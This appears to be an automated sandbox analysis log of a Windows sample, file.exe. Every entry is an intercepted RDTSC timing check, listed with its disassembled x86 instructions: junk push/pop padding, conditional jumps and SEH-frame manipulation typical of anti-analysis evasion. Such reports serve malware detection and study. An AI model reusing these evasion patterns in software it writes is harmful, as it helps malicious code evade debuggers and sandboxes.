Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A904 second address: 110A909 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110619B second address: 110624C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C287768D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, 1B235D23h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov dword ptr [ebp+122D1D56h], edx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F5C287768D8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 mov ebx, 7FA21A7Ah 0x00000047 or ebx, 37BCD466h 0x0000004d mov eax, dword ptr [ebp+122D15BDh] 0x00000053 sub di, AE36h 0x00000058 mov dword ptr [ebp+122D1D3Eh], eax 0x0000005e push FFFFFFFFh 0x00000060 push 00000000h 0x00000062 push edx 0x00000063 call 00007F5C287768D8h 0x00000068 pop edx 0x00000069 mov dword ptr [esp+04h], edx 0x0000006d add dword ptr [esp+04h], 0000001Bh 0x00000075 inc edx 0x00000076 push edx 0x00000077 ret 0x00000078 pop edx 0x00000079 ret 0x0000007a xor dword ptr [ebp+122D360Dh], ebx 0x00000080 mov edi, dword ptr [ebp+122D3976h] 0x00000086 nop 0x00000087 jmp 00007F5C287768E1h 0x0000008c push eax 0x0000008d push ecx 0x0000008e push eax 0x0000008f push edx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110624C second address: 1106250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105262 second address: 110527F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5C287768E2h 0x0000000a jmp 00007F5C287768DCh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110826E second address: 1108274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108274 second address: 1108278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DE10 second address: 110DE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DE14 second address: 110DE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5C287768E9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AB90 second address: 110AB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF9E second address: 110E03D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C287768D8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f cmc 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F5C287768D8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D2E2Ah] 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F5C287768D8h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Bh 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 cld 0x00000059 mov eax, dword ptr [ebp+122D0781h] 0x0000005f mov dword ptr [ebp+122D1E32h], ebx 0x00000065 jmp 00007F5C287768E7h 0x0000006a push FFFFFFFFh 0x0000006c push eax 0x0000006d pushad 0x0000006e jns 00007F5C287768DCh 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110F50 second address: 1110F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110F56 second address: 1110F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110F5C second address: 1110F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DFD second address: 1114E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E03 second address: 1114E0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117FF0 second address: 1118010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 jmp 00007F5C287768E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D37B second address: 111D383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D383 second address: 111D3AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DEh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5C287768E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F24 second address: 1124F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123CAD second address: 1123CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11242E1 second address: 1124303 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5C289E2D28h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124868 second address: 1124872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124872 second address: 11248AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5C289E2D20h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5C289E2D27h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11248AA second address: 11248AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11248AE second address: 11248B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124B41 second address: 1124B47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124B47 second address: 1124B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124B51 second address: 1124B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124DC5 second address: 1124DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124DCB second address: 1124DE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124DE1 second address: 1124DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5C289E2D1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD3A9 second address: 10AD3AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD3AE second address: 10AD3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F5C289E2D16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD3BD second address: 10AD3C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E5FC second address: 112E602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D166 second address: 112D16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D16A second address: 112D17D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D17D second address: 112D18E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnl 00007F5C287768D6h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D318 second address: 112D33C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Dh 0x00000007 jmp 00007F5C289E2D1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D33C second address: 112D350 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5C287768D6h 0x00000008 jnl 00007F5C287768D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D350 second address: 112D35A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C289E2D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D35A second address: 112D371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5C287768DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D371 second address: 112D377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D4CE second address: 112D4E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D4E5 second address: 112D4F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C289E2D1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D65D second address: 112D661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D661 second address: 112D667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D667 second address: 112D6B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F5C287768E0h 0x0000000f jmp 00007F5C287768DAh 0x00000014 jmp 00007F5C287768E8h 0x00000019 pushad 0x0000001a jnl 00007F5C287768D6h 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DD32 second address: 112DD65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 jmp 00007F5C289E2D29h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F5C289E2D1Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DEF6 second address: 112DEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D595E second address: 10D5975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D1Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5975 second address: 10D597B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D597B second address: 10D5981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5981 second address: 10D5985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5985 second address: 10D59C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F5C289E2D25h 0x0000000c jmp 00007F5C289E2D1Fh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jnp 00007F5C289E2D36h 0x00000019 jmp 00007F5C289E2D28h 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E45C second address: 112E4CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E8h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F5C287768DCh 0x00000011 push edx 0x00000012 jmp 00007F5C287768E2h 0x00000017 jmp 00007F5C287768E5h 0x0000001c pop edx 0x0000001d popad 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5C287768E7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F36 second address: 1131F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F5C289E2D18h 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F43 second address: 1131F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C287768DAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F53 second address: 1131F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F57 second address: 1131F67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007F5C287768D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F67 second address: 1131F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F82 second address: 1131F96 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382C7 second address: 11382CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A838A second address: 10A8393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137376 second address: 1137382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5C289E2D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137A10 second address: 1137A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pushad 0x00000008 jmp 00007F5C287768DBh 0x0000000d jns 00007F5C287768D6h 0x00000013 je 00007F5C287768D6h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137A33 second address: 1137A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137B85 second address: 1137B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FC2 second address: 1137FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FC8 second address: 1137FE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F5C287768D8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FE8 second address: 1137FED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FED second address: 1137FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2290 second address: 10B2294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2294 second address: 10B2298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B9FC second address: 113BA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D1Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0ABE second address: F40B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 and ecx, dword ptr [ebp+122D1824h] 0x0000000d sbb edi, 4AD05FE3h 0x00000013 push dword ptr [ebp+122D0DC1h] 0x00000019 mov edi, dword ptr [ebp+122D2A71h] 0x0000001f call dword ptr [ebp+122D296Eh] 0x00000025 pushad 0x00000026 jmp 00007F5C287768E1h 0x0000002b clc 0x0000002c xor eax, eax 0x0000002e cmc 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 jmp 00007F5C287768E2h 0x00000038 mov dword ptr [ebp+122D3A31h], edx 0x0000003e mov dword ptr [ebp+122D2CB1h], eax 0x00000044 jne 00007F5C287768D7h 0x0000004a stc 0x0000004b mov esi, 0000003Ch 0x00000050 clc 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 or dword ptr [ebp+122D3A31h], esi 0x0000005b lodsw 0x0000005d jmp 00007F5C287768E5h 0x00000062 cld 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 stc 0x00000068 mov ebx, dword ptr [esp+24h] 0x0000006c cld 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F5C287768E5h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0C36 second address: 10F0C44 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0C44 second address: 10F0C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0C48 second address: 10F0C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F5C289E2D23h 0x0000000e ja 00007F5C289E2D21h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push edi 0x0000001a jo 00007F5C289E2D1Ch 0x00000020 jns 00007F5C289E2D16h 0x00000026 pop edi 0x00000027 mov eax, dword ptr [eax] 0x00000029 push esi 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0C8E second address: 10F0CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 mov edi, dword ptr [ebp+122D2BD9h] 0x00000017 push 353AE521h 0x0000001c push ecx 0x0000001d jp 00007F5C287768DCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0EF4 second address: 10F0EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0EF9 second address: 10F0F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5C287768D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5C287768DDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0F16 second address: 10F0F1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0F1B second address: 10F0F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jbe 00007F5C287768DCh 0x00000012 jp 00007F5C287768D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5C287768DEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0F43 second address: 10F0F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F5C289E2D18h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
